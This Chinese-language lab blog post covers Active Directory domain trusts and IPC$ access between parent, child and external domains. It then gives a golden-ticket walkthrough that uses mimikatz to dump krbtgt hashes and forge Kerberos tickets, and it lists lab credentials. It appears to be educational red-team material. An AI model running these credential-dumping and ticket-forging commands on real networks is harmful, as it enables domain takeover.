LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/24

在前面域环境熟悉中已经简单介绍过信任域的概念,接下来就深入讨论域之间的信任关系,网络拓扑图如下,要实现两个域之间的访问就需要建立域信任关系,而在子域和父域之间同样如此

首先在原来的基础上增加一个新域,也就是外域external.com,网络配置如下

IP : 10.10.10.100
子网掩码:255.255.255.0
默认网关:10.10.10.1
DNS:10.10.10.10
根域名:external.com
还原模式密码:External.com

image-20240524095108141

域信任关系建立

建立正向查找区域

首先,为了让父域控能解析外域的DNS,需要到主域控的DNS配置里添加正向查找的区域

image-20240524125804288

选择“存根区域”,因为现在创建查找区域的主要作用是让父域控解析外域的DNS,点击下一步

image-20240524125836051

选择默认下一步

image-20240524125940358

输入外域的域名

image-20240524130005758

添加外域的IP地址或者DNS名称

image-20240524130056697

image-20240524130121054

点击下一步,最后点击完成即可

建立域与外域之间的信任关系

image-20240524093253343

右键域,点击属性,在信任出新建信任关系,点击下一步

image-20240524093448796

输入对方域的信任dns名称或者netbios名称(netbios名称默认为域名去掉com),点击下一步

image-20240524093616879

选择建立外部信任域,点击下一步

image-20240524095353064

选择外域与主域建立双向信任关系,方便后续外域登陆主域用户,主域登陆外域用户

image-20240524095831438

选择“此域和指定的域”,点击下一步输入外域主域控的账号密码

image-20240524095947657

image-20240524100111592

选择“全域性身份认证”,然后默认点击下一步

image-20240524130314560

image-20240524130401980

到这就成功建立域信任关系了,然后选择两个“是,确认传入信任”

image-20240524130422845

image-20240524130529134

域间用户访问

已知前提:在创建子域的时候,默认跟主域建立了信任关系,但子域之间没有信任关系,而且外域和主域建立了信任关系,但是没有和子域创建信任关系

image-20240524131116733

image-20240524131126106

已知用户:

external.com:
external\administrator---admin!@#45
external\user001---user!@#45

redteam.com:
redteam\administrator---admin!@#45
redteam\web2012---saul!@#45

saul.redteam.com:
saul0\administrator---admin!@#45
saul0\web011---web!@#45

saul1.redteam.com
saul10\administrator---admin!@#45
saul10\user001---user!@#45

父域与子域之间

直接访问

子域成员机直接访问主域的域控账号,登陆成功,拥有域控的权限

image-20240524141950403

image-20240524142053656

子域成员机访问主域的域成员,登陆成功,拥有主域普通用户权限

image-20240524142520350

image-20240524142806034

主域成员机访问子域用户,登陆成功,权限为子域用户权限

image-20240524142157512

image-20240524142234915

主域成员机访问子域的域控账号,登陆成功,权限为子域控权限

image-20240524142339301

image-20240524142427869

IPC$方法

子域控0使用命令访问主域控的账号,并且在子域控中使用dir访问主域控C盘下的文件,访问成功

net use \\10.10.10.10 "admin!@#45" /user:"redteam\administrator" /persisten:yes
dir \\10.10.10.10\c$

image-20240524132630340

image-20240524132618141

在子域的成员机上(saul0\web011)使用主域控账号访问主域控的C盘文件,访问成功,此时的账号为主域控

image-20240524133041396

使用父域成员机(redteam\web2012)使用子域控账号访问子域控主机,此时的权限为子域控

image-20240524133456814

同理,使用子域控成员机访问主域控的成员机,账号为普通用户,无法访问

image-20240524135113395

无法建立连接的原因:未开启139、445端口,IPC$利用条件为开启了IPC服务且139或445端口开放

image-20240524141324972

image-20240524141351111

建立IPC非空链接(与上面同理)

主域的成员机与子域控建立ipc$连接,此时为子域控账号

net use \\10.10.10.10\ipc$ "admin!@#45" /user:"redteam\administrator"

image-20240524140202566

子域成员机与主域控建立ipc$连接,此时为主域控权限

image-20240524140609259

黄金票据

黄金票据利用的条件:

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH值(域控主机上)

4、伪造任意用户名 (域用户)

适用场景:
黄金票据是身份票据,黄金票据的攻击行为是指攻击者绕过了AS身份认证服务。

由于有些原因导致对域管理权限的丢失,但好在还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

在正常情况下krbtgt用户的哈希值只会在管理域管主机上才会有,普通域用户上是没有krbtgt哈希的,也就是说不拿到域管是看不到krbtgt哈希。

先拿到域管的权限才能看到krbtgt哈希,才能实现黄金票据传递

伪造黄金票据

1、先拿到krebtgt用户的NTLM哈希值(域控主机操作)

mimikatz工具必须以管理员身份运行(system权限)

关闭防火墙,上传mimikatz工具到主域控上,以管理员身份打开cmd,cd到mimikatz目录下,允许下面的命令

mimikatz.exe
privilege::debug

image-20240524144755591

lsadump::lsa /patch        //列出域管理员账户的哈希值
f378f4337c9be0dbcbc206eee52e329c        //krbtgt用户 NTLM 哈希值
S-1-5-21-877640343-1273128085-3257247339        //域的SID值

image-20240524145017949

使用命令查看父域控下的SID

image-20240524172849799

//生成黄金票据(伪造的黄金票据命令)
kerberos::golden /user:administrator /domain:redteam.com /sid:S-1-5-21-877640343-1273128085-3257247339 /krbtgt:f378f4337c9be0dbcbc206eee52e329c /sid:S-1-5-21-2605341513-1769712340-2994387954-500 /ptt 

user    //需要伪造的域管理员用户
domain        //域名称
sid        //SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
ticket         //生成的票据名称

其他命令:

kerberos::purge   //清除票据
kerberos::ptt ticket.kirbi  //导入票据

将普通用户提升为主域控账户

当子域中用户机使用ipc连接不知道主域控密码时,是无法访问主域控主机资源的,这时候将黄金票据导入就可以解决这个问题

image-20240524161739982

使用子域中任意成员机登陆域控账号,或者登陆成员账号,但是知道子域控账号密码,在管理员打开cmd时输入账号密码,管理员身份打开cmd,首先查看该机器的用户为子域控

image-20240524162333109

接着将主域控得到的票据命令导入该机器里面

image-20240524173536408

导入成功后就可以不用输入密码来访问主域控主机的文件夹

net use \\redteam.com\c$

普通金票的局限性

一个域树中分为redteam.com根域和saul0.redteam.com子域,如果在saul0.redteam.com子域中我们拿到了对应的域控中存储的krgrbt的账户和对应的密码hash,利用krbtgt的密码HASH值生成黄金票据会具有一定的局限性,也就是被限制在当前域内访问。但是我们如果拿到对应的主域控的krgrbt对应的HASH值。我们就能实现跨域的黄金票据。实现控制整个域。